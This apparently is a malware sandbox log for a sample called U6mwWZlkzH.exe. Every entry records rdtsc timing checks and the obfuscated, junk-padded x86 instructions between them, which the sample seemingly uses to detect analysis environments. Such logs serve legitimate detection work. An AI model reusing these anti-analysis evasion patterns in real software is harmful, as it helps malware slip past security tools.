Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174ED84 second address: 174ED96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jc 00007F3FC4805ADCh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174EED9 second address: 174EF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d jne 00007F3FC515B342h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 ja 00007F3FC515B336h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174F362 second address: 174F366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174F482 second address: 174F495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B33Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174F5A4 second address: 174F5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1752A96 second address: 1752A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1758526 second address: 175853E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175853E second address: 175855E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FC515B34Bh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17570A6 second address: 17570AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17570AA second address: 17570C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3FC515B346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17570C5 second address: 17570CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1757854 second address: 175785E instructions: 0x00000000 rdtsc 0x00000002 js 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175785E second address: 1757877 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3FC4805ACCh 0x00000008 je 00007F3FC4805AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jne 00007F3FC4805ACEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1757B46 second address: 1757B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B33Ah 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1757B56 second address: 1757B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1757D3C second address: 1757D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3FC515B33Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17581D1 second address: 17581E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F3FC4805AD2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175CFB0 second address: 175CFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175CFB8 second address: 175CFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175CFBD second address: 175CFEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 jnl 00007F3FC515B33Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175CFEA second address: 175CFFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175CFFD second address: 175D013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B342h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175D013 second address: 175D021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3FC4805ACCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175D2D0 second address: 175D2ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175D2ED second address: 175D30F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3FC4805ADDh 0x00000008 jmp 00007F3FC4805AD5h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175D8B4 second address: 175D8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 175D8B8 second address: 175D8BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1761AA3 second address: 1761AB8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FC515B33Ch 0x00000008 jno 00007F3FC515B336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1761D71 second address: 1761D77 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1761D77 second address: 1761D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1769351 second address: 1769356 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1769356 second address: 1769367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jc 00007F3FC515B336h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17686EF second address: 17686F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768806 second address: 176881B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3FC515B336h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176881B second address: 176883D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC4805AD8h 0x00000009 jo 00007F3FC4805AC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768B00 second address: 1768B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3FC515B33Ch 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768C45 second address: 1768C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768C49 second address: 1768C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3FC515B348h 0x0000000f jmp 00007F3FC515B33Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768C75 second address: 1768C80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768DB9 second address: 1768DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768DBE second address: 1768DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768DC6 second address: 1768DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F3FC515B347h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768DE9 second address: 1768DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768DED second address: 1768DFB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1768F16 second address: 1768F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176E69E second address: 176E6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176E6A2 second address: 176E6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176E6A6 second address: 176E6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B343h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jp 00007F3FC515B336h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176E6C9 second address: 176E6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EA80 second address: 176EABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B340h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007F3FC515B33Ah 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3FC515B345h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EABA second address: 176EACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007F3FC4805AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F3FC4805AE3h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EACE second address: 176EAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B347h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F3FC515B33Eh 0x00000012 jbe 00007F3FC515B336h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EAFE second address: 176EB1A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3FC4805AD6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EB1A second address: 176EB38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F3FC515B336h 0x0000000f jc 00007F3FC515B336h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713648 second address: 17136E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a or edx, dword ptr [ebp+122D2C3Fh] 0x00000010 mov ebx, dword ptr [ebp+12472738h] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F3FC4805AC8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 add eax, ebx 0x00000032 call 00007F3FC4805AD4h 0x00000037 and cl, FFFFFF97h 0x0000003a pop edi 0x0000003b nop 0x0000003c jmp 00007F3FC4805AD2h 0x00000041 push eax 0x00000042 jl 00007F3FC4805AD2h 0x00000048 nop 0x00000049 push edi 0x0000004a mov dl, 59h 0x0000004c pop edx 0x0000004d push 00000004h 0x0000004f jl 00007F3FC4805AD9h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17136E8 second address: 17136EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17136EE second address: 17136F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17136F3 second address: 17136FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EC79 second address: 176EC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EC7D second address: 176EC81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EDBE second address: 176EDD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD6h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EDD9 second address: 176EDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 176EDE7 second address: 176EDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772C0F second address: 1772C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772C17 second address: 1772C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772465 second address: 1772494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F3FC515B353h 0x0000000f jmp 00007F3FC515B347h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772494 second address: 177249C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177249C second address: 17724A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17724A0 second address: 17724A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17725ED second address: 17725FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17725FA second address: 1772609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772609 second address: 177260D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177260D second address: 1772619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772619 second address: 1772634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B347h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772634 second address: 1772646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1772646 second address: 177264A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177264A second address: 177264E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17781C5 second address: 17781CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17781CB second address: 17781EC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3FC4805AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F3FC4805AC6h 0x00000012 jmp 00007F3FC4805ACFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17781EC second address: 1778204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B344h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1778362 second address: 177836C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3FC4805AC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1778705 second address: 177873A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B349h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jnp 00007F3FC515B33Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jnc 00007F3FC515B336h 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177873A second address: 177873E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177873E second address: 177874D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3FC515B336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 177874D second address: 1778752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1778752 second address: 1778759 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1778D1C second address: 1778D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1778D20 second address: 1778D2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779359 second address: 1779362 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779362 second address: 177936E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17798E7 second address: 1779913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3FC4805AC6h 0x0000000a pop ecx 0x0000000b push esi 0x0000000c jmp 00007F3FC4805AD5h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F3FC4805AC6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779913 second address: 1779917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
